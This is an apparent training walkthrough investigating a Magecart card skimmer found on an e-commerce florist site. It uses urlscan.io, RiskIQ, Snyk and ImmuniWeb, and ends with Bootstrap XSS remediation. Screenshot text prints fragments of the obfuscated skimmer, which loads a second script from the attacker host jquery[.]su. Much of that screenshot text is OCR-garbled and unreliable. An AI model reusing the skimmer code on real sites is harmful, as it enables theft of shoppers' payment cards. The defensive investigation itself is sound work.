GET H2	200	logo_footer.png /skin/frontend/smartwave/porto/images		3 KB 4 KB	21ms 19ms	Image image/png	2606:4700:30::6818:6053	9.	
GET H2	200	google_fonts.css /skin/frontend/smartwave/porto/css		21 KB 2 KB	28ms	Stylesheet text/css	2606:4700:30::6818:6053	۹.	
GET H2	200	email-decode.min.js /cdn-cgi/scripts/5c5dd728/cloudflare-static	Show response	1 KB 935 B	14ms	Script application/javascript	2606:4700:30::6818:6053	۹	
GET H2	200	2ccb937681a69fef3fe377c742ece0c1.js d1nfcimmiplaw0.cloudfront.net/js	Show response	803 KB 805 KB	744ms 738ms	Script application/x- javascript	2600-9000:2057:1c00:1e:790a:2800:21		
GET H2	200	Chablacted 2889950143.js cdn.optimizely.com/js	Show response	178 KB 63 KB	151ms 1.36ms	Script text/javascript	2a02:26f0:6c00:181::13b8 AKAMAI-ASN1	٩	
GET H2	200	Additional 19a00ff433cd9c506234c24b9720 myhellobar.com	3536247d6eb0.js	72 KB 10 KB	413ms 370ms	Script text/javascript	2600:9000:2057:f400:0:93e4:a640:93a1	1	
GET H/1.1	200 OK	x2.js jquerysu/ki	Show response	3 KB 3 KB	651ms 59ma	Script text/html	176.119.1.112	e,	
GET H2	200	performance.js /js/mirasvit/code/teedexport	Show response	4 KB	19ms	Script text/javascript	2606:4700:30::6818:6053	۹.	
GET H2	200	© Additional conversion.js www.googleadservices.com/pagead	Show response	24 KB	41ms 17ms	Script text/javascript	216.58.208.34	α,	
GET H2	200	cate_bg_content.png /skin/frontend/smartwave/porto/css/cbi		97 B 157 0	777ms 776ms	Image image/png	2606:4700:30::6818:6053	٩	
GET H2	200	cate_bt_bg.png /skin/frontend/smartwave/porto/css/cbi		96 B 206 B	751ms 750ms	Image image/png	2606:4700:30::6818:6053	٩	
GET H2	200	icon_f.png /skin/frontend/smartwave/porto/css/cbi		120 B 182 B	17ms 17ms	Image image/png	2606:4700:30::6818:6053	٩	
GET H2	200	Variantes fontawesome-webfont.woff?v=4.0.3 /skin/frontend/smartwave/porto/megamenu/css/fonts		43 KB 43 KB	996ms 995em	Font application/x-font- woff	2606:4700:30::6818:6053		
GET H2	200	HELVETICANEUEMEDIUM.ttf /skin/frontend/smartwave/porto/fonts		131 KB 131 KB	17ms 17mg	Font application/k-font-ttf	2606:4700:30::6818:6053	٩	
GET H2	200	CAddeded fbevents.js connectfacebook.net/en_US	Show response	121 KB 32 KB	25ms Ilimn	Script application/x- javascript	2a03:2880:f01c:8012:face:b00c:0:3	٩	
A CET	200	at the information of the second seco	C. Statements	50.40	10	Seriet	2x00 1450 4001 819 2008		

Click on the show response button. If you do not see a show response button next to jquery[.]su then hit the back button until you see the search results and choose a later result to view. Here we see the results for jquery[.]su/ki for the script x2[.]js.

<pre>If(pped A_id)2d01am(id)1cd5ide(ide(ide)1+***ade(ide)){ wr A_i profile(ide(ide)1cd)***********************************</pre>	🗧 🤌 🖸 📲 ufscanJøjresponses/a4378c7e150817cb07b3a5737685a11df835a74b65b9540a38614f485a2ce147/	x 🖸 🗣 🕫 🗣 🛛 🥑 😰 🗑 🗄
<pre>www.st/2005/st/100/00000000000000000000000000000000</pre>	if(typeof X0_14724047a471fe47c245e2494dc16eb7f==`und#fined`){	
<pre> } /* *********************************</pre>	<pre>vir M1_10470457/n4715677045825494164b7f4 A1_10471cs464b04554a564b454173b41b0a1Location.toftring[]}, A1_2787c6486410422212043b50e047E1955111ttps://jeeery.su/min-1.2.4.js', A1_1107571[Inteld10bs127252121614190 4726* A1_b8405941cce4004845717352165104511nuntion(ms){ A1_b8405941cce4004845717352165104511nuntion(ms){ A1_b8405941cce4004845717352165104511nuntion(ms){ A1_b8405941cce4004845717352165104511nuntion(ms){ A1_b8405941cce4004845717352165104511nuntion(ms){ A1_b8405941cce4004845717352165104511nuntion(ms){ A1_b8405941cce4004845717352165104511nuntion(ms){ A1_b8405941cce4004845717352165104511nuntion(ms){ A1_b8405941cce4004845717352165104511nuntion(ms){ A1_b8405941cce400484571752165104511nuntion(ms){ A1_b8405941cce400484571752165104511nuntion(ms){ A1_b8405941cce400484571752165104511nuntion(ms){ A1_b8405941cce400484571752165104511nuntion(ms){ A1_b8405941cce400484571752165104511nuntion(ms){ A1_b8405941cce400484571752165104511nuntion(ms){ A1_b8405941cce400484571752165104511nuntion(ms){ A1_b8405941cce400484571752165104511nuntion(ms){ A1_b8405941cce400484571752165104511nuntion(ms){ A1_b8405941cce400484571752165104511nuntion(ms){ A1_b8405941cce400484571752165104511nuntion(ms){ A1_b8405941cce400484571752165104511nuntion(ms){ A1_b8405941cce400484571752165104511nuntion(ms){ A1_b8405941cce400484571752165104511nuntion(ms){ A1_b8405941cce400484571752165104511nuntion(ms){ A1_b8405941cce40048457175210451045110048717521045104510451045104510045104510451045104</pre>	
<pre>w my(d = Mukh.loor(Mukh.made.((19999999):11111)) downew.cokie AldoS)MedDialeDialeDialeDialeDialeDialeDialeDiale</pre>	<pre>}, AX0_99f770707202fsReaba303H801He0(function(name){ var matche=document.coold.match(new RegIm('(r' j') '+name.replace(/([\.f2*[])(\)\\)\\\\\/*'))/g, '\\f2')+'=([*j*]')); return matche=docodofuccoponent(matche=d)]) undefined;))('All_eM571haef3Hhlo0ffced43D5cf4c285')[[function(){ var menev Date()]</pre>	
<pre>xi2interDigOrDigOrDigOrDigOrDigOrDigOrDigOrDigO</pre>	<pre>var mpid = Math.Tloor(Math.random()*(99999999-11111111)=+11111111)=ms.getTime()*="-#Math.floor(Math.random()*(99999999-1111111+1)=11111111); var datenes Date(ms Date(ms Date(),getTime()+06424=10300); document.coolie=X1_c=S71laeS3BileB0ffce64315<44e245="mmiddle"; path=/; empires="+date.to7CString(); bit(stime:ms/dd)</pre>	
<pre>ver serier = document.createllament('seriet'); trop:type 'secie/type 'south':secie/type'; secie/type 'south':secie/type'; secie/type 'south':secie/type'; secie/type:secie/type':secie/type'; secie/type:secie/type'; secie/type:seci/type:seci/ty</pre>	<pre>X22_dxt0714075014964acThe02704e6601+bhooslOestIon.horstanae.pplit(',',slice(b).join('') 'nodomain'}, X22_d0031149504ab7002037bbbde9ef;function(url,dsts, is_eval = false, is_sync = true){ fils_eval}{ var had = document.extIlementuMrastana('had')[0])</pre>	
<pre>place{ wrx http:setReprestNeeder(); http:setReprestNeeder();</pre>	<pre>var script = document.createllement(icript'); script.arc = url="?"/data; script.arc = url="?"/dat</pre>	
<pre>},</pre>	<pre>jelse(wr http://wir/ide.uri.ide.gov/i/ide.uri.ide.gov/ide.go</pre>	
<pre>%A0_947942cd10501512451245244***A3_412464743716712450240616077.A31_126731Ecd1020412222121611481742142242482486124874619848134***A3_4126482483021246124873248624846126077 %A0_947942cd10548451497247245448444**A3_41264848302648e***A3_1212212412448248461407743212212141248248444842487459848134***A3_412648248424874597114671224824844844848484848484848484848484848</pre>	}, Al4_UbH9fad#a2#lcclclfdH9eNb1a#f6rfunction(module mame,additional_data,is_symc = true){ var url = A0_ldr2dd9fad9lfcf7cl45cl45dcl6dcl6f7.A2_z2#7c6b866ldd2dlaaD56ce0ff795f3; var data =	
/ A0_1d12d847ad11fc47c245m2449dc14cb1f.A24_4b+b9fad8a281cc21c1fd89m9b51a8f6{'core',**}; }	<pre>%A0_949942cd356481324512652catf~a0_1d72d0f7AdT16f226626461cb07.All_126971Ef26430bc202212cd1f84019*%A32_6a97548135cdxffe1264249769984b7d~*module_name~*kA38_cd1999122 Li3tca646444b805546465497342354564569372b642959332b642ber*AA3_1224947adT16cf24264264861cb07.Ala_9497707072c22638eaba203801ber**kA36_bae4f11996f82208ae10094C Bac2hef224e46434**kA37_cf264e5839572b64295932b642ber*AA_14720847adf12fcf24254244616b7f4**add1clana1_dxta; war is_wari = (mobilis_mame~*cme** Twe is falme) return Ad_1df2d057adT16cf72255245662bf661fc432_60013f649f64s4b703bc3Bbab4a6ef(ur1,dsta,is_eval;is_ync); }</pre>	leddf59938e9706998f23bd1e="+A1d72d67ad71fe67c249e34bdc36e37f]3df99925="+A0_1d72d067ad71fe47c245e249dc16eb7f.A32_4afe974d75014;
3	/ A0_1d72d067md71fc47c245m249dc16cb7f.h24_dbb9fmd8m281cc21c1fd89m9b51m8f6("core",");	

https://urlscan.io/responses/a4378c7e150817cb07b3a5737685a11df835a74b65b9540a36614f486a2ce147/

Now we can finally see the JavaScript. The highlighted areas show that the scrip was checking for a payment card and also executed another script called https[:]//jquery[.]su/min-1.12.4[.]js.

Click the back button, then click on DOM

→ C ■ uriscan.io/result/7d576659-d723	-4919-995e-d4e8cad	60921/#transactions							\$	0 4 🤊 🖲	• • • •
	Q urlsca	in.io AHome QS	sarch (III API	Hive O About	1 bps	well	SecurityTro	alls 🛛	I running		
	www.flo	werexplosio	n.com					Q. Lookup + 🔿 Go To 🛛 🛛 Report	CRescan		
	2606:4700:	30::6818:6053									
	Submitted URL: In Effective URL: Int Submission: On Sep	nttp://www.flowerexplosion tps://www.flowerexplosion tember 09 via manual (Septemb	.com com/ tr 9th 2019, 6:50:47 pr	m) from US 🎫							
	🕈 Summary 🗧	HTTP 138 10 Links 10	Behaviour 🔶 lot	Cs Ø Similar 🚾 🛛	DOM	Conte	ent BEAPI				
	138 HTTP	transactions					Everything	🖥 HTML 📲 Script 🚡 AJAX 📲 CSS 🍕	Expand all		
	Method Protocol Statu	Resource s Path			Size x-fer	Time Latency	Type MIME-Type	IP Location			
	▲ GET 200 H2	/ Redirect Chain • http://www.flowerexplosion.o • https://www.flowerexplosion.o	on.com/ → m/ → sion.com/	Show response	199 KB 21 KB	996ms 975ms	Document text/html	2606:4700:30::6818:6053 ∰Cloudflare			
	🔒 GET 200 H2	jquery-ui-1.10.4.min.css /js/smartwave/jquery			17 KB 3 KB	38ms 31ma	Stylesheet text/css	2606:4700:30::6818:6053	۹.		
	GET 200	jquery,fancybox.css /js/smartwave/jquery/pluging	/fancybox/css		5 KB	41ms	Stylesheet text/css	2606:4700:30::6818:6053	٩		
	GET 200 H2	ajaxaddto.css /js/smartwave/ajaxcart			1KB 510 B	43ms 36ms	Stylesheet text/css	2606:4700:30::6818:6053	٩		
	GET 200 H2	etalage.css /js/smartwave/jquery/plugine	Actalage		4 KB	36ms	Stylesheet text/css	2606:4700:30::6818:6053	٩		
	GET 200	bootstrap.min.css /js/smartwave/bootstrap/css			52 KB 9 KB	40ms	Stylesheet text/css	2606:4700:30::6818:6053	٩		
	GET 200	bootstrap-theme.min.css /js/smartwave/bootstrap/css			20 KB	35ms	Stylesheet text/css	2606:4700:30::6818:6053	٩		
	GET 200 H2	/s/smartwave/jquery/pluging	ss /owl-carousel		1 KB 530 B	36ms 30mm	Stylesheet text/css	2606:4700:30::6818:6053	٩		
	GET 200 H2	(Synthe owl.theme.cs: /js/smartwave/jquery/pluging	/owl-carousel		2KB 5938	37ms	Stylesheet text/css	2606:4700:30::6818:6053	٩		
	➡ GET 200 H2	Overtee owLtransition	s.css /owl-carousel		4KB 736.8	36ms	Stylesheet text/css	2606:4700:30::6818:6053	٩		
	GET 200	selectbox.css	Aelecthes		4 KB	41ms	Stylesheet	2606:4700:30:;6818:6053	٩		
riscan joiresult/7d576859-d723-4969-99%-ida&radi	092t/dem/ET 200	wideets rss			5 KR	38ms	Stylesheet	2606-6700-30-6818-6053			

Then in your browser search for "jquery.su"

← → C 🛛 🕯 urlscan.lo/result/7d576659-d723-49	/19-995e-d4e8cad60921/dom/		D 🕁	O &	0 1 🖸	
	.col-main .category-products .products-grid li.item .details-area .product-name (height: 36px;	jquery.su 1/6	~ ~ X			
	<pre>kipit1 36x; } *kipit1 36x; } *kipit2***********************************</pre>	Joery an 176	× • ×			
	<pre>id=- tod Google Tay Newsper</pre>	δοπρ. μ.Χ.α., "κατ."3 αδ.425.00." (64.21.47.0") 16 fe 68 393 23 44 cc (cc - 15 68 65 94 21 25 1 - 95 54 17 + 34 21 - 72 34 67 a fe 7 1 + 47 2 54 65 24 96 cc (cc - 57 7 + 34 21 - 72 34 66 7 a fr 1 + 47 2 54 55 24 55 26 7 54 66 7 7 - 20 56 7 gc (cc - 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1	1070-co 195526a Féan Submiléa Submiléa Submiléa			
	<pre>cybeads dow class="coindex-index_cos-porto-home-7" style="> div class="coindex-index_cos-porto-home-7" style="> div class="coindex_index_cos-porto-home-7" style="> div class="coindex_index_cos-porto-home-7" style="> div class="coindex_index_cos-porto-home-7" style="coindex_index_cos-porto-home-7" style="coindex_index_cos-porto-home-7" style="coindex_index_cos-porto-home-7" style="coindex_index_cos-porto-home-7" style="coindex_index_cos-porto-home-7" style="coindex_index_cos-porto-home-7" style="coindex_index_cos-porto-home-7" style="coindex_index_cos-porto-home-7" style="coindex_index_cos-porto-home-7" div class="coindex_index_cos-porto-home-7" border: border:</pre>	right: das; margin-bottom: das; paddin light: blag; right: blag; bottom: day; right: blag; right: blag; bottom: day; o for blag; margin-bottom: day; padding days border-tap-left-radius; Say; blag; blag; margin-bottom; days marginetic table; marginetic table; p; min-beight: 100%; marwidth; 100%; p	ngi Ro Sejfra : #In-h : Rpxj rder-t t.kgrdun : Max-h			

There are 6 separate entries in the DOM for jquery[.]su.

One entry for src="https[:]//jquery[.]su/min-1.12.4[.]js" Five entries for src="https[:]//jquery[.]su/ki/x2[.]js"

If you go back to the HTTP results you can search for each script.

Here are the results for "min-1.12.4.js"

					The second secon			
GET 200 H2	cate_bt_bg.png /skin/frontend/smartwave/porto/css/cbi	96 B 208 B	751ms 750ms	Image image/png	min-1.12.4.js 1/1		×	J
GET 200	icon_f.png /skin/frontend/smartwave/porto/css/cbi	120 B	17ms 17ms	Image image/png	2606:4700:30::6818:6053	٩	1	
GET 200 H2	Structure fontawesome-webfont.wof?v=4.0.3 /skin/frontend/imartwave/porto/megamenu/css/fonts	43 KB 43 KB	996ms 995ms	Font application/x-font- woff	2606:4700:30::6818:6053	٩		
GET 200	HELVETICANEUEMEDIUM.ttf /skin/frontend/umartwave/porto/fonts	131 K	8 17ms	Font application/x-font-ttf	2606:4700:30::6818:6053	٩		
GET 200 H2	CAthladed fbevents is Show reso	121 K 32 K	B 25ms Bms	Script application/x- javascript	2a03:2880:101c:8012:face:b00c:0:3	R		
GET 200 H2	CAddecket gtmjs?id=GTM-NZJLZFN Show resp www.googletagmanager.com	20 KB	18ms	Script application/javascript	2a00:1450:4001:819::2008	٩		
▲ GET 200 H2	CAdbiecked W.j5 d10lpsik1i8c69.cloudfront.net	sme SKB 3 KB	51ms	Script application/javascript	143.204.208.20	q		
▲ GET 200 H2	Challocken ijs Lag bounceschange.com/856 Redirect Chain Https://bounceschange.com/856/js/# Https://tag.bounceschange.com/856/js/#	18 B 168 0	1063m 15m	Script text/plain	35.190.92.63	Q		
GET 200 H/1.1 OK	min:1:124.8 (A30, 967e9762cd256961572d191620512ea1=42 A29, fae75a8425c0a18e14d2487e19984b7d=core6A28_c889 cddf50938e8780e98f23bd1e=a14R0cHM4U93d3cuZmvvdZV wbG92aW9ULmNvbS8=6A25_8163c6e9a9357 is showreas gaeryau is showreas	265 3KB 121 3KB 7ZXh 9656	484ms 483ms	Script text/html	176.119.1.112 VSERVER-AS	R		
GET 200 H2	Addisided bat.js bat.bing.com	7 KB	89ms 53ms	Script application/javascript	2620:1ecc11::200	R		
GET 200 H2	Addisodied modules-v55.js Myhellobar.com	ame 133 K 37 KB	B 10ms	Script text/javascript	2600:9000:2057:1400:0:93e4:a640:93a1	¢,	Ĩ	
	asset_composer_js static_adasets.com/ekr Redirect Chain • https://w2.opim.com/?21Ja/NK0T58WjaAThr/SbeVGeOKuCSVUon • https://static_adasets.com/ekr/staset_composer_js	23 KB 7 KB	119ms 53ms	Script application/javascript	104.18.74.113	R		
🗎 GET 200 H2	js biow resp www.googlecommerce.com/trustedstores/api	573 B	134ms	Script text/javascript	2a00:1450:4001:818::200e	٩	l.	
■ GET 200 H2	CARLING Trandom 15680550525676cv=964st=15680550 676rum 16guid=Ohkresp=GooglemChVeDCsGKu, h=1200 w=16006u, juh=12006u, juh=15006u, cd=426u, juh=26u, tz=1 java=false6u, nplug=06u, nmime=06sendb=16ig=16data=cc, progles6u, golubecid/knet/paged/viewthroughcomersio	525 2K8 Su_ 1KII KOSu Sme	23ms 17m	Script text/javascript	2a00-1450-4001:808-2002 Google LLC	R	Ĩ	
A CET	200 4 400		1 Dector VI		0/01/100/00/1010/072	-		



This appears to be looking for specific things on the checkout page, button, input, submit.

Now we have determined www[.]flowerexplosion[.]com was infected with Magecart from jquery[.]su. The threat actor appears to be in Ukraine or Russia. From Open Source Intelligence (OSINT) the threat actor targets Magento eCommerce platforms.

But we still have an issue. Server Admins blow away the website and restored a previous version that was known to be clean. We do not know if the server is vulnerable to attack and could get compromised again.

We need to investigate the www[.]flowerexplosing[.]com and determine what vulnerabilities are present.

Step 19: What vulnerabilities exist on my website?

Open a new tab and go to https://community.riskiq.com/.

Search for the domain flowerexplosion[.]com removing no www.

You should see an additional tab next to query results called Digital Footprint.



Step 20: Click on the Digital Footprint tab

https://community.riskiq.com/search/flowerexplosion.com/footprint

RiskIQ automatically created a Digital Footprints for all work domains when the PassiveTotal account is created. You cannot see a Digital Footprint if you used your Gmail or yahoo mail accounts.

We have allowed all organizations to view flowerexplosion[.]com Digital Footprint and see their internet attack surface. Community users will normally see hostnames obfuscated. Paid Enterprise users will see a non-obfuscated Digital Footprints with all hostnames. This is a non-curated view of your attack surface. You cannot add or remove hosts from your Digital Footprint. The Digital Footprint is machine created based upon your email domain. Digital Footprint Enterprise edition is fully customizable where you can add or remove hosts and domains from your Digital Footprint.

The vulnerabilities that are shown in the Digital Footprint are not tested they are based upon the version and banner information that is determined during RisklQ's crawling of websites. This information might not be 100% accurate but it does point you in the right direction to determine where vulnerabilities may exist and what they might be. This information can be downloaded and used by your organization vulnerability scanning tool to determine what exact vulnerabilities exist and if any mitigating controls are in place to protect your organization.



In the Insights section on the left side of the screen click on the check icon next to Medium CVE.



Only one item is shown in the graph. Click on the blue circle

RISKIQ Q now	xpiosion.com	Tours	Enterprise
Last Seen 2019-09-18 Registra	Constant By Privary Luc.		
Query Results Digital Footprint	urgene .		
rce Graph Data Table Linker	R	O Enable Advanced searching, Reporting, and Wor	kflow. Upgrade to Enter
INSIGHTS (1718 H	0°	HOST www.flowerex	plosion.com
× Open Ports 12		Dwind Asset	Absolute
V. Madam Mars Bash 6		IP Address	104.24.97.83
n meurum nexa karik 6		Last Link Observed	22 days ago
× Medium CVE 1		Connectedness	2
SSET TYPES (121)		Confidence value	5
at these a		Alexa Ravik	N/A
A RIOS I		Domain Reputation	N/A
WNED ASSET (1/1)	2	Host Reputation	N/A
X Absolute 1		Open Ports	2086, 2083, 2082, 8080, 8443, 443, 80, 2096, 2095
ONNECTEDNESS (07.1)		Crawled	51,411 Times
× 2 1	HOST www.flowerexplosion	First Crawled	5 years ago
		Last Crawled	a month ago
		Mucklist Sequence Count	4
		Mateure Count	4
		WEB COMPONEN	NTS
		ZenDesk Chat	
		Optimizely	
		Bounce Exchange	
		Google Ads	
		Credit Card Validatio	in javascript
		jQuery	
		CloudFront CDN	222
		Google Ads - Double	CICK
		Jouery of	
		Kackspacerwosso Ennt Auesome	
		Goose Search	
		CloudFlare	
		Conste Anabelie	

In the right-hand side is now revealed and you will see information about the host www[.]flowerexplosion[.]com. Scroll down until you see the CVE information.



We see that this host has potentially 6 CVEs associated with Bootstrap version 3.3.1. CVE-2016-10735 CVE-2019-8331 CVE-2018-20676 CVE-2018-14040 CVE-2018-20677 CVE-2018-14042

Step 21: Google search for bootstrap vulnerabilities

Now let's find out more information at bootstrap vulnerabilities by doing a google search.

In a new tab, search <u>https://google.com</u> and search for bootstrap vulnerabilities.



Click on the link https://snyk.io/vuln/npm:bootstrap

C = anymotor	uin/npm:bootstrap			* 🗅 🗣 🖲 🕈 🍳 🖉 🔯	
	snyk Test Features ~	Vulnerability DB Blog Partners Pricing	Docs About	Log In	
	Vulnerability DB > 🖬 npm > bootstra	,			
	D bootstrap vul The most popular front-end fra	nerabilities mework for developing responsive, mobile f	irst projects on the web.	Licenses detected	
	Latest version 4.3.1	First published 8 years ago	Latest version 7 months ago published		
	Continuously find & fix vulnera	bilities like these in your dependencies.		Test and protect your a	pplications
	VULNERABILITY	VULNERABLE VERSION	s to ons package a dependencies.	SNYK PATCH	PUBLISHED
	Cross-site Scripting (XSS)	<3.4.1,>=4.0.0 <4	.3.1	Not available	15 Feb, 2019
	M Cross-site Scripting (XSS)	<3.4.0		Not available	101 2010
	Constanting Contraction (VEE)	-3.4.0			10 Jan, 2019
	Cross-site scripting (ASS)	4314.0		Not available	10 Jan, 2019
	M 😵 Cross-site Scripting (XSS)	>=4.0.0 <4.1.2		Not available Not available	10 Jan, 2019 10 Jan, 2019 12 Jun, 2018
	Cross-site Scripting (XSS) Cross-site Scripting (XSS) Cross-site Scripting (XSS) Cross-site Scripting (XSS)	<pre>>=4.0.0 <4.1.2 <3.4.0,>=4.0.0 <4</pre>	.1.2	Not available Not available Not available	10 jan, 2019 10 jan, 2019 12 jun, 2018 12 jun, 2018
	Cross-site Scripting (XSS) Cross-site Scripting (XSS) Cross-site Scripting (XSS) Cross-Site Scripting (XSS)	<pre><</pre>	.1.2 pha ≪4.0.0-beta.2	Not available Not available Not available Not available	10 Jan, 2019 10 Jan, 2019 12 Jun, 2018 12 Jun, 2018 19 Jan, 2018
	Cross-site Scripting (XSS)	<pre>>>=4.0.0 <4.1.2 <3.4.0,>==4.0.0 <4 <3.4.0,>==4.0.0 <1 <3.4.0,>==4.0.0 <1 <2.1.0</pre>	.1.2 pha <4.0.8-beta.2	Not available Not available Not available Not available Not available	10 Jun, 2019 10 Jun, 2019 12 Jun, 2018 12 Jun, 2018 19 Jun, 2018 10 Apr, 2017
	Cross-site Scripting (XSS) Versions	<pre><</pre>	.1.2 pha ⊲4.0.0-beta.2	Not available Not available Not available Not available Not available Show all versions	20 Jan, 2019 10 Jan, 2019 12 Jun, 2018 12 Jun, 2018 10 Japr, 2018 10 Apr, 2017 ▼
	Cross-site Scripting (XSS) Cross-site Scripting (XSS) O O Cross-site Scripting (XSS) O O Cross-site Scripting (XSS) O O Cross-site Scripting (XSS) Versions	۲۰۰۹ ۲۰۰۵ ۲۰۰۵ ۲۰۰۵ ۲۰۰۵ ۲۰۰۵ ۲۰۰۵ ۲۰۰۵	.1.2 oha <4.0.0-beta.2	Not available Not available Not available Not available Not available Show all versions OURCET V	10 Jan, 2019 10 Jan, 2019 12 Jan, 2018 12 Jan, 2018 10 Apr, 2018 10 Apr, 2017
	Cross-site Scripting (XSS) C		.1.2 oha <4.0.0-beta.2	Not available Not available Not available Not available Show all versions	20 Jan, 2019 10 Jan, 2019 12 Jan, 2018 12 Jan, 2018 10 Apr, 2018 10 Apr, 2017 VUNERABILITIES 2 MA ○ L

www[.]flowerexplosion[.]com is running version 3.3.1 click on the first link.

C = snyk.io/vuln	/SNYK-JS-BOOTSTRAP-173700		* 🖸 🗣 🛞 🗣 🛛 🧃
	Snyk Test Features Vulnerability DB Blog Partners Pricing Docs About		Log In Sign Up
	Vulnerability DB → □ npm → bootstrap Cross-site Scripting (XSS) Affecting bootstrap package, versions <3.4.1 >=4.0.0 <4.3.1	cvss score	MEDIUM SEVERITY
	Do your applications use this vulnerable package? Test your applications	ATTACK VECTOR Network	ATTACK COMPLEXITY
	Overview bootstrap Cf is a popular front-end framework for faster and easier web development. Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in dota-template, dota-content and dota-title properties of tooltip/popover. Details A roots-site scripting tatack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser's Same Origin Policy.	PRIVILEGES REQUIRED None SCOPE Unchanged INTEGRITY None	USER INTERACTION Required CONFIDENTIALITY High Availability None
	Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability. Excaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters for being interpreted in a dangerous context. For example, in HTML, is can be coded as SBE; and Sa can be coded as SBE; and Sa can be coded as the code of the interpreted and displayed as themelves in text, while within the code chicelit, they are used for HTML tags; the nullicious content is njected into an application that escapes special characters and that malicious content uses < and > as HTML tags; those characters are nonetheless not interpreted as HTML tags by the browser if they've been correctly escaped in the application code and in this way the attempted at tacks is diverted. The most prominent use of XSS is to steal cookies (cource: OWASP HttpCOnly) and hijack user sessions, but XSS exploits have been used to espose sensitive information, enable access to privileged services and functionality and deliver malware. Types of tacks/s There are a few methods by which XSS can be manipulated: TYPE OMGIN DESCRIPTION Stored Server Stored Server the malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.	CREDIT Yonatan Offek (polu) CVE VE-2019-8-8331 df CVE-2019-8-8331 df CVE-2019-8-8331 df CVE-2019-8-8331 df CVE-2019-8-8331 df SNYK-JS-BOOTSTRAP-I DISCLOSED II Feb, 2019 PUBLICHED IS Feb, 2019	73700

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to	SNYK ID	
expose sensitive information, enable access to privileged services and iuncoonaiity and deriver marware.	SNYK-JS-BOOTSTRAP-173700	
Types of attacks	DISCLOSED	
There are a few methods by which XSS can be manipulated:	11 Feb, 2019	
TYPE ORIGIN DESCRIPTION Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.	PUBLISHED 15 Feb, 2019	
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user's browser.	¥ £1 in G• ¥	
DOM- Client The attacker forces the user's browser to render a malicious page. The data in the page itself delivers the cross-site based scripting data.		
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.		
Affected environments		
The following environments are susceptible to an XSS attack:		
Web servers		
Application servers		
Web application environments		
How to prevent		
This section describes the top best practices designed to specifically protect your code:		
 Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. 		
 Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents. 		
 Give users the option to disable client-side scripts. 		
Redirect invalid requests.		
 Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions. 		
Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.		
 Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML. 		
Remediation		
Upgrade bootstrap to version 3.4.1, 4.3.1 or higher.		
References		
Bootstrap Blog E		
GitHub Commit Ruby @		
GitHub PR @		

Types of	attac	ks
----------	-------	----

There are a few method	s by which XSS can	be manipulated:
------------------------	--------------------	-----------------

TYPE	ORIGIN	DESCRIPTION
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user's browser.
DOM- based	Client	The attacker forces the user's browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Bootstrap 3.3.1 is vulnerable to cross-site scripting attacks and a threat actor might be able to insert code in your website. This is the most likely the vulnerability that was exploited for the threat actors to install Magecart. Now you need to upgrade your bootstrap to version 3.4.1 or 4.3.1 to prevent future Cross-site scripting attacks.

Step 22: Independent vulnerability assessment.

We are now going to perform a vulnerability scan utilizing a third-party to verify the vulnerability on your website.

In a new tab go to <u>https://immuniweb.com</u>

← → C i immuniweb.com/liree/			* 🖸 🌬 🕫 🖲 🗸 😰 😭
	AI for Application Security		Customer Login Partner Login
	Platform Solutions Compliance F	ree Security Tests Company Partners	Get a Demo Q
	As a part of our ongoing commit ImmuniWeb provides free and mitigate	Website Security Test Check your website for GDPR and PCI DSS compliance, security and privacy Mobile App Security Test Audit your IOS or Android apps for OWASP Mobile Top 10 and other vulnerabilities	urity niche in particular, tter understand ts.
Quick Start	1 tests runn	SSL Security Test SSL Security Test compliance with PCI DSS, HIPAA & NIST Phishing Test Discover typosquatted, cybersquatted or phishing websites abusing your brand	
	•	ODPR & PCI DSS Test Veobre CAS Security Test Veobre CAS Security Test CSP & HTTP Headers Check Veodrese & Drupal Scanning Test Now	
https://www.immuniweb.com/websec/	MODINE App Security Test ViolAndroid Security Test Woble App Privacy Check Static & Dynamic Mobile Scan Test Now	SSL Security Test Web Server SSL Test Server SSL Test Server SSL Test	EITIGHTING LESA Brand Philship Monitoring Trademark Infringement Monitoring Web & Email Servers Check Test Now

Click on the Free Security Test and click on Website Security Test https://www.immuniweb.com/websec/

Scan the domain	www[.]flowerexp	osion[.]com.
-----------------	-----------------	--------------

← → C i immuniweb.com/websec/		* • • • • • • • • •
	Customer Login Partner Login	
	Platform Solutions Compliance Free Security Tests Company Partners Full Test Q	
	Website Security Test GDPR & PCI DSS Test Website CMS Security Test CSP & HTTP Headers Check WordPress & Drupal Scanning 41,693,227 security tests performed	
ck Start	Scan Latest Tested About Scoring API Feedback www.flowerexplosion.com Image: Comparison of the state of	
OR	Current time: 0125 Latitet Ludate: 0129 View in fullicoreer	
	Lefest Highest Score. Italies can (Ma) all print data com (Ma) all twitter can (Ma) cardosaa // (Ma) all committings (Ma)	

Scan results

← → C i immuniweb.com/websec/?id=X5b5P8X5								* 0 9	
